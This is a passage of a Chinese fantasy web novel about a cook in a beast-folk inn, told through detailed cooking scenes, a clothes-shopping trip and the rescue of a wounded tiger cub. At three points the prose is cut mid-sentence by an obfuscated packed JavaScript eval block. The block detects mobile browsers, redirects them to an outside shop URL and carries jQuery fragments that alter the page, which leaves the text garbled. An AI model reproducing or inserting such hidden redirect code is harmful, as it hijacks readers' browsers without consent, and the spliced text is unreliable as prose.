她回身探向水盆，捞出在水里浸着的面条。面条在冷水中浸得久了，更显筋道滑韧，水珠顺着筷尖成串滴落，在盆中漾开细碎涟漪。 面入锅中，与肉同炒。铲筷交错间，酱色渐渐染透面身。末了撒上一把青蒜叶，略翻几下，便盛入盘中。 一盘炒面搁在案上，油润润地泛着光，热气挟着肉香面气缓缓上升。灶间悄然，只余锅底柴火噼啪的微响。 “怎么样？” 简菡得意地把盘子在雪翎面前转了一圈，香气就跟长了腿似的，一个劲儿地往她鼻子里钻。 “还不错。” 雪翎拿过炒面，夹起一绺面条。只见面条根根裹酱，油光润泽，其间夹杂着焦香的肉块和青绿的蒜叶。她吹了吹气，送入口中。 牙齿切入的瞬间，是外层酱汁的咸鲜微烫，紧接着便是面条本身的韧滑，在齿间弹开，竟无半分软烂。浸过冷水又急火快炒，倒是比寻常煮面多了一份嚼劲。 剔骨肉块边缘焦脆，咬下去“咔”的一声轻响，内里却仍保着肘子肉特有的软糯筋道，油脂的丰腴混着酱香瞬间溢满口腔。不是精瘦肉的柴，是带着胶质、耐得住咀嚼的香。 青蒜叶被热力逼出最后一分生辣，只余下清冽的香气，恰到好处地切断了肉脂带来的些许腻味，让人忍不住想再下一筷。 她不动声色地又卷了一筷子面。 简菡笑盈盈地看着她，不动声色地给自己的那盘淋了几圈醋。 温润的酸香率先漫开，并非喧宾夺主，而是恰到好处地抚平了酱汁的沉厚，为后续的滋味辟出一条清朗路径。面条入口更显爽利，酱香与肉香紧随其后，层次井然。那醋意巧妙化去了油脂的黏滞，令剔骨肉的软糯焦香愈发纯粹，在齿间清晰可辨。 她吃得舒畅，每一口都暖而不腻，末了只余开胃的回甘。那一点醋，竟让整盘面的风味都活络圆融了起来。 简菡正吃得香，炒面的热气混着醋香烘得鼻尖微微冒汗。她刚埋头吸溜进一大口裹满酱汁的面条，院外便由远及近传来熟悉的车辙声。 聂松拉着那架旧板车利落地停在院门口，人还没见，爽朗的喊声先透了进来：“简菡！货到了！” 她嘴里还含着面条，闻声急急起身，也顾不上擦嘴，撂下碗筷便掀帘迎了出去。 聂松已手脚麻利地从车上卸下两麻袋东西，一袋是还沾着些湿泥的生栗子，另一袋是未炒的生瓜子，“咚”地一声稳稳落在院中。 他拍了拍袋身的灰，转头又从车上小心拎下两个摞得整齐的竹篓，里面满是一袋袋分装妥帖的糖炒栗子和五香瓜子，封口扎得严实，却仍掩不住那股焦甜的香气。 “喏。”他将包着银子的碎布往简菡跟前一递，咧嘴笑道，“这两天生意好，上回带去妖市，没等散市就卖空了。今晚怕是也不够抢。” 简菡接过沉甸甸的布包，点头应道：“我再多炒些。你路上小心啊。” “放心。”聂松爽快应了一声，拉起缰绳调转方向，“走了。” 驴车吱呀远去，碾过青石板路。 简菡望着地上那两袋生货，又掂了掂手中银子，转身便往灶房走去。桌上那碗吃了一半的炒面，还袅袅冒着热气。 “你这攒了不少啊。” 雪翎瞟了眼简菡放在桌上的布包，“照这势头，你快能赎身了吧？” 简菡轻轻笑了笑，没有正面回答，“你明天有空吗？我想去买几套你们这边的衣服。” 她穿过来到现在，都快小半个月了。 每天洗完澡，只能靠雪翎帮她烘干衣服来维持洁净，怪麻烦的。况且总穿同一套衣裳，也实在单调。她虽不讲究穿戴，但总得有个替换，免得外人觉得她不讲卫生。 “当然。”雪翎将最后一筷子面嗦进去，“咱们客栈哪来的活啊。” 想到楼上的两个穷鬼，她又忍不住笑出声来。 “啊~！” “楼上还真有俩客官，但……他们估计连素面都吃不起了。” 简菡听见雪翎的话也不由轻笑了一下。 镇西的“织霞苑”乃是城中最为奢华的衣庄，人还尚未走近，便被那门前流转的瑰丽云霞夺去了心神。 店堂高敞，无数华服浮于一道道水波般的琉璃光障之上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588520|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自有生命般徐徐旋动，漾开一重又一重梦幻光晕。 丝缎绫罗、鲛绡云锦皆非凡品，尤以云蛛汲取月华吐丝织就的“月华绡”最为惹眼，薄如轻烟、莹莹生辉；跟它齐名的“蝉光锦”才是真正薄如蝉翼，叠起来还没一张纸厚，展开却流光溢彩。 简菡看得正入迷，一位鲛人女子翩然近前。 她云鬓高叠，眸色是静海般的墨蓝，颈侧细鳞泛着虹彩，行动间似有水流环绕。 “雪翎姑娘。”她的声线清柔若水，“这位是……” “我朋友。”雪翎握住简菡的肩膀，把她往疏月的面前推，“给她搭两身耐穿鲜亮的，从头到脚都要！” 疏月将简菡的身形扫了一遍，顿时便有了主意，“小娘子请跟我来。” 她将简菡引至内厅，指尖一勾，数套衣裙自半空飘落，轻轻展开在简菡面前。 “小娘子气质清灵，这身艾绿银泥折枝纹的襦裙，配月白蹙金半臂，清爽亦不失贵气。” 还不等简菡细看，她轻轻一挥，眼前又换了一套，“这套海棠红联珠鹿纹锦的半臂配郁金长裙，更鲜活，衬得人面若芙蓉。” 挑来挑去，简菡眼睛都看花了，也不知该哪套才好。她求助地望向雪翎，只希望她能帮她拿个主意。 “别看我，”雪翎倚在一旁，笑眯眯的，“还是听疏月的吧。” 见雪翎跟那鲛人如此熟稔，简菡也对她不自觉地信任了起来。 “姐姐，要不……你帮我选吧。” 疏月看了眼简菡，又朝雪翎的方向瞟了一眼，见雪翎点头，这才按着简菡在镜子前坐下。 “那就选艾青色和海棠红的那两身吧。” 简菡的头发才刚刚过肋骨，不算及腰，还以为不能像她们一样梳成发髻呢。可疏月灵巧的手指拂过她的头发，挽于顶心，俏皮的螺髻便有了雏形。 疏月往手上涂了些栀子花味的梳头油，散落的碎发瞬间服帖，只在鬓边特意挑出几缕垂在耳畔，恰到好处地衬出她眉眼间的温婉。疏月稍稍后退半步，拿出配套的首饰为她簪上。 额前垂着一串坠着细小珍珠的银链，头顶的鎏金雀衔瑞花钗瞬间让整个造型灵动而不失典雅，白玉水滴耳珰轻轻摇曳，镜中人顿时焕然一新，与身上的艾青色衣裙相映成辉，仿佛春日里初绽的青莲，清雅而不失风姿。 雪翎在一旁瞧着，点了点头。简菡这才回过神，慌忙去掏钱袋。 疏月柔声报出一个数，简菡虽肉痛，仍数出足额铜钱并一小块碎银递过去。疏月接过钱，脸上笑得更加温婉，她将另一套衣裙和首饰用软纱仔细包好，“这梳头油算是送你的。” 简菡一愣，随即脸颊微红，低声谢过。 她抱着满怀馨香柔软的包裹走出店门，犹如抱着一场华美的梦。 她跟雪翎朝客栈的方向走，耳边的白玉水滴和额间的银链随着她的步伐微微晃动，仿佛在提醒她一切都是真实的。 5. 猪肘饭 “走过路过，莫要错过！有钱的捧个钱场，没钱的捧个人场喽！” 汪仙楼客栈门口的空地上，里三层外三层围满了看热闹的兽人。 人群中央，那两位道袍洗得发白的穷酸捉妖师，竟真的摆开了场子。一位正四平八稳躺在一块门板上，胸口压着硕大的青石板，另一位则扎着马步，气沉丹田，高举着铁锤，口中念念有词：“各位看官瞧好了！正宗龙虎山硬气功，胸口碎大石！” “嘿！”话音未落，铁锤轰然砸落。 哐当一声巨响，青石板应声裂成数块，底下那位捉妖师一个鲤鱼打挺跃起，抱拳拱手，面不改色。周围顿时爆发出叫好声和哗啦啦的掌声。 简菡和雪翎挤在人群前头，看得目不转睛。简菡新换的艾绿衣裙在人群中格外显眼，发间金钗随着她惊讶微张的小嘴轻轻晃动。 正看得入神，她忽觉耳坠被人极轻地碰了一下，那微凉的触感惊得她一颤。 扭头一看，竟是对门那位总是慵懒含笑的猫郎。因人群拥挤，她不知何时已被挤得紧靠在他身前，他一只手甚至自然地虚环在她身侧，替她隔开了身后的推搡。 “呀！”简菡脸颊倏地飞红，像染了最艳的海棠胭脂。 猫郎低头，那双古铜色的猫儿眼里漾着戏谑的光，目光在她新衣和发髻上流转一圈，唇角弯起：“人靠衣装，佛靠金装。这般打扮，甚美。” 简菡被他直白的夸赞弄得手足无措，下意识想抬手挠头，指尖却碰到梳得精致的发髻，只好又讪讪放下，声如蚊蚋：“多…多谢。” 猫郎从喉间溢出一声低低的轻笑，气息拂过她发顶。简菡只觉得脸上热意更盛，几乎要冒烟。 恰在此时，场中又是一声吆喝，将众人目光吸引过去。只见那表演碎大石的捉妖师不知从哪摸出一面铜锣，“铛”地一声重响。 “诸位父老乡亲，师兄弟二人途经宝地，盘缠用尽，不得已献丑了！望各位高抬贵手，赏口饭吃！”说着，便端着那面锣，走向人群，一一作揖。 表演确实精彩，兽人们倒也慷慨，叮叮当当的散碎银两和铜钱不断落入锣中。 简菡看着那递到眼前的锣，想起自己刚大出血买的新衣首饰，囊中瞬间羞涩，赶紧扯了扯雪翎的袖子，想趁乱溜走。 才转身，却被猫郎伸出的折扇不轻不重地拦了一下。他挑眉，声音里满是玩味：“白嫖？” 简菡脸涨得通红，羞窘得一句话也说不出，只能用力推开他的扇子，拉着还在笑嘻嘻看戏的雪翎，低头钻出人群，几乎是逃也似的跑回客栈后院。 刚踏进院门，惊魂未定，雪翎却挣脱了她的手，回头望了一眼，果然见那猫郎还站在人群外围，笑吟吟地望着简菡的背影。 雪翎顿时用手肘撞了一下简菡，坏笑着凑近她耳边，拖长了调子：“哟~！有桃花喽~！” 说完，也不等简菡反应，她便蹦蹦跳跳地跑去大堂找墨无咎显摆自己的新衣服了。只留简菡一人站在原地，脸上红晕未褪，心跳如鼓，半晌没回过神来。 简菡指尖触及滚烫的脸颊，仿佛还能感受到猫郎带着笑意的呼吸拂过。她心头一跳，猛地想起聂松那句“招蜂引蝶的脸”。 果然！ 她用力甩头，试图将那些令人心乱的画面驱散。已经耽误了一整个上午，她不能再分心了。 她用攀膊利落地将宽大的衣袖束起，露出纤细的手腕，正准备处理昨晚聂松留下的坚果，大堂却突然传来一阵喧闹。 她急忙擦手赶去，只见方才还在街头卖艺的两位捉妖师，此刻竟像个暴发户般拍着桌子，中气十足地嚷道：“掌柜的！上肉！要大块的肉！最好再来壶酒！” 简菡看了眼汪屿，见他没反对，这才收了他们拍在桌上的银钱，转身递给柜台后面无表情的墨无咎，快步钻进了灶房。 厨房里还有昨天剩的一个半的猪肘子呢！ 酱肘子静静躺在陶盆里，经过一夜的沉淀，凝出了一层晶莹剔透的肉冻，在从窗棂透进来的光线下微微发亮。 她将陶盆坐进蒸锅里，灶膛里添上新柴，火光跳跃间，水汽渐渐氤氲而上。那浓油赤酱的色泽在热力的作用下重新变得油润光亮，胶质慢慢融化，浓郁的肉香混合着酱香、八角、桂皮等香料的复合气息再次被激活，霸道地弥漫了整个灶间，甚至透过门帘缝隙飘向大堂，引得那两位捉妖师不住地吸着鼻子张望。 另一边，大灶上蒸着满满一木桶的米饭，稻米特有的清香随着蒸汽丝丝缕缕地散发出来，米粒在高温下逐渐吸饱水汽，变得饱满、晶莹、喷香。 待肘子彻底热透，她小心地将其捞出。 肘子皮色红亮诱人，颤巍巍、油润润，肥肉部分已然变得透明如玉，瘦肉则酥烂深红，用筷子轻轻一拨便能分离。她运刀如飞，快刀将肘子切成厚薄均匀的片，层层叠叠地码入一个预先温热的宽口砂锅里，深色的肉汁滴滴答答，诱人至极。 考虑到那两位捉妖师无底洞般的胃袋，她直接将沉甸甸的木桶米饭拎出，又用大勺舀起锅内重新热滚的、浓郁粘稠的酱汁，哗啦一声，精准地浇在雪白晶莹的米饭上，深褐色的酱汁迅速渗透下去，每一粒米都仿佛被赋予了灵魂。 光是肉和饭似乎还缺点什么。 肉吃多了，难免油腻。 想到这儿，她快手快脚地拍了一碟翠绿的黄瓜，撒上蒜末和醋汁，又切了块白嫩的水豆腐，细细地撒上碧绿的葱花和细盐，最后点了两滴香气扑鼻的小磨香油。 一荤两素，一浓两淡，相得益彰。 将沉甸甸的饭桶、砂锅肉和一碟碟小菜送至大堂，那两位捉妖师顿时眼放绿光，也顾不得什么仪态，立刻狼吞虎咽起来。 酱汁裹挟着每一颗米粒，肥瘦相间、酥烂入味的肘子肉几乎入口即化，浓郁的肉香和米香在口中爆炸开来，吃得他们满头大汗，酣畅淋漓，不住地发出满足的喟叹。 简菡看着他们的吃相，心下稍安，给雪翎使了个眼色，示意她帮忙照看，自己忙不迭地躲回后院。 她可没忘给自己也留了一小碗。 忙活了这大半天，她也是凡人，也要吃饭的。 但她给自己留的这一碗，却远比给客人的要精致用心得多。 米饭被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588521|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压实后巧妙地扣在细腻的白瓷碗中，形成一个光滑圆润的丘顶，上面整齐地铺着五六片酱色油亮、厚薄适中的肘子肉，旁边是对半切开、已然浸透了卤汁、呈现出漂亮酱色的卤蛋，蛋黄边缘带着诱人的焦糖色。 旁边还不忘配上一小撮清爽的凉拌海带丝和几块淋了葱油的白嫩豆腐，色彩分明，一看便令人食指大动。 她寻了个安静角落的小凳坐下，小心地夹起一块肉，连同沾了酱汁的米饭一起送入口中。 肘子皮糯肉烂，咸鲜中带着恰到好处的微甜，各种香料的复合气息层次丰富却又和谐统一，完美地浸润了每一丝肉纤维。 混合着吸饱了浓郁酱汁、颗粒分明的米饭，以及卤蛋特有的醇厚香气，每一种味道都恰到好处地融合在一起，带来无比满足的饱腹感和幸福感，让她不自觉地满足地眯起了眼，细细品味着这忙碌中偷闲的滋味。 傍晚，院门外传来了熟悉的车辙声和脚步声。 聂松大大咧咧地推开后院门走了进来，嘴里还嚷着：“简菡，货好了没？我……” 话音在看清院中人的刹那戛然而止。 他猛地顿住脚，瞪大了眼睛，像是看见了什么不可思议的景象，甚至夸张地后退了半步，上下打量着简菡，语气充满了惊奇。 “嚯！你、你是简菡？我差点没认出来！还以为走错了门，走到别人家去了呢！” 他放下手中的家伙什，毫不客气地绕着简菡转了三圈，目光在她艾绿色的新衣、梳得整齐别致的发髻以及那支小巧的金雀钗上流连，嘴里啧啧称奇。 “这身衣裳！这打扮！真真是好看！太好看了！瞧不出，你还有几分姿色啊！” 与先前面对猫郎调侃时的羞窘无措完全不同，简菡下意识地挺直了腰板，嘴角控制不住地向上弯起，露出一排细白的牙齿，大大方方地接受着这直白而真诚的夸奖。 “那是！” 聂松哈哈一笑，不再多言，手脚麻利地将一旁早已分装好的炒货箱子搬上他的小板车。 他一边捆扎绳索，一边像是忽然想起了什么，回头道：“对了，光顾着瞧你好看了，差点忘说正事。刚来的路上遇到妖市管事的，说是里头要整顿修缮，妖市得歇业三日，从明儿个就开始。你也正好能歇歇脚，松快几天。” “啊？！” 这消息来得太过突然，简菡脸上的笑意瞬间僵住，明媚的眼神也黯淡了下去。 妖市……歇业三日？ 这几个字像是一记闷棍，敲得她耳边嗡嗡作响。 她下意识地摸了摸身上崭新的、价格不菲的衣裙，指尖拂过发间那支花了她不少银钱的簪子。 这可花了她不少银子呢！ 赎身的希望本就渺茫如星火，全指望着这点小生意细水长流……这下可好，进账的门路直接断了！ 一股冰冷而沉重的失落感和焦虑如同潮水般迅速淹没了她，重重地压上心头，几乎让她喘不过气。 她只觉得眼前一阵发黑。 早知道，就先不急着去买衣服了！ 若不然，买两身便宜的也好啊！ 6. 滚蛋饺子 妖市一连停业三日，简菡便托着腮帮子，百无聊赖地每日坐在客栈门槛上，看那两位捉妖师在对面空地上卖艺。 这俩穷鬼，翻来覆去就那么几样把式，除了胸口碎大石，还是胸口碎大石。 头一日因着新鲜，还能引得满堂彩，收获颇丰，让他们吃上了大块的酱肘子。可同样的把式连着演上几天，看客们便也失了兴致，打赏的钱币一日少过一日。 到了后两日，他俩便又吃回了清汤寡水的素面配一小碟咸菜疙瘩，看得简菡都替他们肚里发慌。 好不容易熬到了妖市原定重新开张的日子，简菡一大早就心绪不宁，抻长了脖子往街口张望，盼着聂松那架小驴车的身影。 等聂松把生栗子和瓜子送来，她就加紧炒至，赶在傍晚开市前炒好分装完。 五香瓜子来不及，但是原味的炒出来，也能卖。 左等右等，日头渐渐升高，街面上人来人往，却始终不见聂松的踪影。 直到午时已过，太阳略略西斜，才见聂松赶着他那架旧板车，慢悠悠地晃到了客栈门口，竟一如往常般开始卸货摆摊。 简菡心下诧异，急忙迎上去：“聂松，你怎么……摆到这来了？今日妖市不是重开吗？”她指着那几袋生货，“这些……” 聂松卸货的动作顿了顿，脸上露出一丝无奈又忿忿的神情，他拍了拍手上的灰，叹了口气。 “嗨！别提了！我一大早兴冲冲拉着货过去，你猜怎么着？妖市大门是开了，可里头换了大章程！” 他压低了声音，像是怕人听见，却又忍不住抱怨：“被官府彻底接管了！说是要‘正规化管理’，里头那些好摊位，早被有门路的家伙们内定完了，剩下的，租金炒得比天还高！像咱们这种往日里见缝插针的散摊，如今是一个都不让进了！别说你我，好些老面孔，都只能在外头干瞪眼！” 简菡听着，心猛地一沉，像是骤然坠入了冰窟里。 眼前仿佛有什么东西“啪”地一声碎裂了，那刚刚因为妖市重开而燃起的一点微弱希望，瞬间被这盆冷水浇得透心凉。 她唯一的、勉强能赚些银钱赎身的途径，就这么硬生生地……断了？ 她张了张嘴，却发不出任何声音，只觉得浑身力气都被抽空了。 她蔫巴巴地转身，重重地坐回到了冰冷的门槛上，双手无意识地托住腮，目光空洞地落在眼前凹凸不平的青石地砖上，开始一块、两块地数着，试图用这种方式压下鼻尖涌上的酸涩和眼前漫起的模糊水汽。 就在她数到第十七块地砖的时候，一双穿着簇新翘头履的脚停在了她面前。 视线往上，是挺括的绸缎裤腿。再往上，则是一个颇为神气活现的男子。他化形得颇为彻底，只是鼻梁格外高挺微勾，眼睛圆而明亮，透着股机灵又略显傲慢的神气，最奇特的是他肩颈后竟还巧妙地保留着一层银灰色带着金属光泽的羽毛披肩，随着他的动作微微颤动。 这是……鸽子？ 那鸽子人看也没看门槛上失魂落魄的简菡，径直昂首步入客栈大堂，声音清亮地问道：“请问，这可住着两个从京城来捉妖师？有‘镇妖司’的加急公文到！” “镇妖司”三字一出，原本在一旁懒洋洋打着算盘的墨无咎指尖微不可查地顿了一下。 雪翎倒是立刻来了精神，从柜台后绕出来，围着鸽子人好奇地打量：“镇妖司？是京城那个专门处理妖魔重案要案的镇妖司？找他俩干嘛？是不是之前那个黑虎白鹤的案子有消息了？” 她连珠炮似的发问，眼睛里闪烁着八卦的光芒。 简菡也被吸引了注意力，暂时从自己的愁绪中挣脱出来，竖起耳朵，下意识地看向楼梯口。 她甚至没注意到，柜台后的墨无咎也悄然抬起了眼，目光落在那鸽子人身上。 鸽子人被雪翎问得有些不耐，但似乎又乐于展示自己传递消息的重要性，他挺了挺胸脯，带着几分矜持说道：“正是。黑虎白鹤盗宝一案，已然了结。司里召他们即刻返京复命。” “了结了？可是那两位江洋大盗落网了？” 雪翎闻言，问得更加急切了。 鸽子人摇了摇头，圆眼睛里露出一丝对之前误判的不屑。 “落什么网啊！” “根本就不是他俩干的！全是一场乌龙！” “全都是户部那个姓孙的贪官监守自盗，想将宝库里的东西据为己有，又怕东窗事发，这才故意弄出些痕迹，嫁祸给了颇有些名气的黑虎白鹤，想让他们背黑锅！” “也幸亏咱们司里的狄大人明察秋毫，靠着敏锐的嗅觉和独步天下的追踪术，硬是从一堆假线索里嗅出了真凶的味道，这才破了案，还了那两位‘大盗’清白！” 正说着，那两位捉妖师恰好从楼上下来，显然是听到了这番话。 两人对视一眼，脸上非但没有喜悦，反而齐齐叹了口气，满脸的郁闷和无奈。 “唉！枉费我兄弟二人跋山涉水，追踪数千里，风餐露宿，盘缠用尽，还得当街卖艺……到头来，竟是白忙一场，全是替那贪官兜了圈子！” 其中一位忍不住捶了一下手心。 另一位也是苦笑连连：“罢了罢了，既然司里召返，咱们这就收拾东西回去吧。只是这心里，着实憋屈！” 二人对视一瞬，憋屈转眼便化作了食欲。 两人一合计，竟将这几日卖艺所得银钱拿出一小半，拍在了柜台上，对简菡道：“小娘子，劳烦你再辛苦一趟，给我们包顿饺子！要馅儿足足的！上车饺子下车面，吃饱了好上路回京！” 呦！ 简菡挑了下眉毛，有些意外。 没想到他们还有这习俗！ 她仅微微愣了一瞬，便赶紧让墨无咎收了钱，转身扎进了厨房。 苍蝇腿也是肉啊！ 赚一分，是一分！ 嫩绿的韭菜摘洗干净，沥干水分，细细切成碎末，倒入清亮的菜籽油拌匀，锁住水分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588522|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧接着，她取了好几只鸡蛋磕入碗中，加少许盐打散。铁锅烧热，滑入宽油，将蛋液倒入，用筷子快速划炒，炒成金黄酥松的鸡蛋碎。 待鸡蛋碎放凉，与韭菜末混合，再加入适量的盐、少许胡椒粉和一点点提鲜的蚝油，馅料便调好了，碧绿金黄，香气扑鼻。 另一边，面团早已醒好。她将面团搓成长条，切成大小均匀的小剂子，擀成中间略厚边缘薄的圆皮。 取一张皮，放入足量的馅料，手指灵巧地捏合，挤出一个个圆鼓鼓、肚儿饱满的月牙形饺子，整齐地码放在撒了薄面的案板上。 大锅烧水，水开下饺。白色的饺子在滚水中沉沉浮浮，如同一尾尾嬉戏的小鱼。待饺子尽数浮起，肚皮滚圆，用笊篱捞出，盛入两大盘之中。 热气腾腾的饺子被端上桌，皮薄馅足，隐约透出内里碧绿的色泽。 两位捉妖师早已迫不及待，夹起一个吹了吹便送入口中。外皮滑韧，内馅鲜香，韭菜的辛香与鸡蛋的醇美完美融合，汁水丰盈。 “好吃！真香！”一人含糊不清地赞道，手下筷子不停，“走了之后，最舍不得的就是小娘子你这份手艺了！” 另一人也连连点头：“是啊，这趟差事虽说白跑了，但能遇上这口吃食，也算不亏！” 简菡站在一旁，揉了揉因持续擀皮而有些酸痛的手腕，听着他们的夸赞，只是微微笑了笑，没有接话。 这点手艺，若能换来安稳度日，该多好。 她瞥了一眼那位鸽子人信使。 只见他正襟危坐，下巴微扬，用几乎不可见的弧度瞥了一眼那盘饺子，眼神里满是嫌弃，仿佛那是什么上不得台面的粗劣之物，甚至连桌上那壶客栈提供的普通茶水，他都碰也没碰一下，估计是嫌弃茶叶粗散，配不上他“镇妖司”信使的身份。 两位捉妖师风卷残云般将两大盘饺子消灭干净，满足地拍了拍肚子，这才起身，与鸽子人一同出了客栈门。 门外，不知何时竟停泊着一艘小巧却精致的木舟，船身刻着符文，隐隐有灵气流转，竟是官家的摆渡船。 简菡还是头一次见到这种代步工具，不由得多看了两眼，眼中满是惊奇。 正看着，视线不经意间一转，恰好与对门倚窗而立的猫郎对上。 他那双猫儿眼里依旧含着戏谑的笑意，仿佛将她的窘迫、好奇全都看了去。 简菡双颊“唰”地一下飞红。 她的心脏没来由地怦怦直跳，像是做了什么亏心事被当场拿住。 她慌忙低下头，逃也似的转身冲回店里，抱起桌上的空盘空碗，几乎是小跑着躲进了厨房，借着哗哗的水声，试图掩盖自己如擂鼓般的心跳。 简菡也知道自己的行为有些过激，甚至显得很没出息。 可那猫郎双眼带钩又放电的，她下意识就想躲，根本控制不住。 她暗暗叹了口气，一边用力搓洗着碗碟，一边在心里鄙视自己：不就是被看了一眼吗，至于慌成这样？ 7. 小米南瓜粥 暑气蒸腾，五福镇的青石板路上浮起一层扭曲的热浪，连路旁柳树都蔫蔫地垂了枝条。 简菡趴在桌子上，有气无力地搅动着碗中绿豆汤。 这绿豆汤熬得极好，澄澈的青碧色汤水里，豆子开了花，浮沉如碎玉，几片薄荷叶漾在碗边，透出沁人心脾的凉意。 她舀起一勺送入口中，沙软豆仁在舌尖化开，冰糖的清甜与薄荷的微凉交织，恰能抚平三分暑热躁意。 若是以往，简菡定要惬意地眯起眼叹一声，可如今，她只觉心头窝着一团火，怎么都舒坦不起来。 妖市的生意做不成了，客栈生意又清淡，眼见钱袋一日日瘪下去。 怎能不愁？ “唉……” 简菡又叹了口气，瓷勺碰着碗沿，发出清脆一响。 就在这当口，客栈虚掩的门板被人猛地撞开！ 一道染血的小小身影踉跄扑入，惊起满地尘埃。 简菡呼得一下子站起身，手中绿豆汤险些泼洒。 她定睛看去，那竟是个约莫七八岁模样的男童，一身杏黄衣裳被血色浸得深一块浅一块，发髻散乱，一张小脸苍白如纸，唯有一对毛茸茸的、金黑环纹相间的圆耳朵因痛苦而紧贴着头皮，身后一根同样花纹的长尾巴无力地拖曳在地。 “救……救救我……”男童声音微弱，带着颤抖，几不可闻地吐出这句话。 “喂！你……” 简菡放下碗，刚要上前，门外已传来杂乱沉重的脚步声和凶狠的叫嚷。 “分头找！那虎崽子定跑不远！” “挨家搜！断不能让他跑了！” 虎崽子？ 简菡心头一跳，还未及深思，眼前忽地一花。 只见对门那位总爱倚在窗边晒太阳、懒洋洋没个正形的猫郎，不知何时如一阵风般卷入店内。他动作快得惊人，一把捞起地上昏迷的幼崽，那双平日里总是半眯着的潋滟桃花眼此刻锐利地扫过简菡，低声道：“闭紧嘴。” 话音未落，他人已带着那孩子闪出了门，消失在对面那挂着“衔蝉坊”匾额的店门内。 几乎同时，简菡的客栈大门被彻底踹开。 五六名彪形大汉堵在门口，身形魁梧，煞气腾腾。 他们一身武士打扮，穿着麻布缺胯袍，腰佩横刀，最骇人的是，每人脸上都带着一道狰狞刀疤，自左眉骨斜划至右颊，皮肉外翻，平添十分凶恶。 “掌柜的！”为首疤面汉声如洪钟，目光如鹰隼般扫过空荡荡的店堂，“可曾看见一只虎崽子经过？” 简菡吓得手心冰凉，一时语塞。 她强装镇定，“我们掌柜没在，我就是个厨娘，我也没见过什么虎崽子。” 这时，一道玄色身影迅疾无声地挡在了她身前。 墨无咎身形消瘦，但气势丝毫不弱。紧接着，雪翎也冲过来，将简菡往后拉了拉。 “没看见。” 墨无咎答道，声音平淡无波，那双墨绿色的猫瞳却毫不避让地迎上那群凶徒的视线。 他左手微微向后，将雪翎和简菡护得严实，右手自然下垂，化作猫爪，指甲在暗处泛着森然幽光。 店内气氛紧绷如弦。 那群汉子狐疑地在大堂内扫视一圈，目光掠过桌椅柜台，又落回墨无咎身上，似乎权衡着眼前这猫兽人的实力。 为首者冷哼一声，似有不甘，却也没立刻发作，挥挥手准备离去。 恰在此时，一名眼尖的汉子忽然指着地面：“老大，血！” 众人目光霎时聚焦在地上的石砖，几点鲜红血珠赫然在目，正是那幼崽方才滴落。 为首疤面汉猛地转身，一步逼近墨无咎，眼神狠戾：“这血怎么回事？！还敢说没看见？” 简菡的心瞬间提到了嗓子眼，脑中灵光乍现，不等墨无咎开口，她已从雪翎身后探出头，抢先道：“几位爷恕罪！这是我刚才杀鸡，拎进来时不小心撒上的！还没来得及擦洗！惊扰各位爷了！” 她努力让声音听起来自然，甚至带上几分抱怨，“客栈嘛，有住店的就有打尖的，难免沾些污秽，您几位多包涵！” 疤面汉眯眼审视着简菡，又看看地上血迹。 他再瞪向墨无咎时，间对方依旧面无表情，眼神冷冽，那蓄势待发的爪尖透着不好惹的气息。 “哼！走！” 最终，疤面汉一挥手，带着人悻悻离去。 脚步声远去，简菡却不敢放松，她紧紧抓着雪翎的手，指尖冰凉。 “别怕，”雪翎轻声安慰，温柔地回握她，“对面的苗澈不是好惹的。” 苗澈？ 原来那猫郎叫这个名字。 简菡心里嘀咕，眼睛却死死盯着门外。 果然，那群壮汉并未走远，径直闯入了对门的衔蝉坊。 简菡的心揪得更紧，几乎能想象出内里剑拔弩张的场景。 时间一点点流逝，煎熬无比。 不知过了多久，那群疤面汉骂骂咧咧地从猫馆出来，四下张望一番，终究朝着西市另一端追去了。 简菡长舒一口气，悬着的心总算落回实处。 她正想跑去对面查看，脚步刚迈出，又猛地顿住。 万一那些人还在暗处盯着呢？ 她眼珠转了转，想起自家客栈后院与那猫馆后院仅隔着一堵不甚高的矮墙。 对，翻墙过去！ 简菡今日穿着一套齐胸襦裙，行动颇不便。 她费力地挪到后院，瞅准那矮墙，笨手笨脚地攀爬，裙裾被勾了几下也顾不得，总算有惊无险地翻了过去。 双脚刚落入衔蝉坊的后院地面，还未站稳，就听“喵呜”声四起。 空荡荡的院子里，假山后、窗台下、花盆旁，瞬间冒出十几二十只毛色各异、瞳色斑斓的猫儿来，个个竖尾弓背，碧眼幽幽地盯着她这闯入者，虽体型皆是娇小猫咪模样，那气势却颇有些骇人。 简菡僵在原地，进退两难。 正琢磨着是该后退还是硬着头皮前进，一声清越的口哨声忽地从廊下响起。 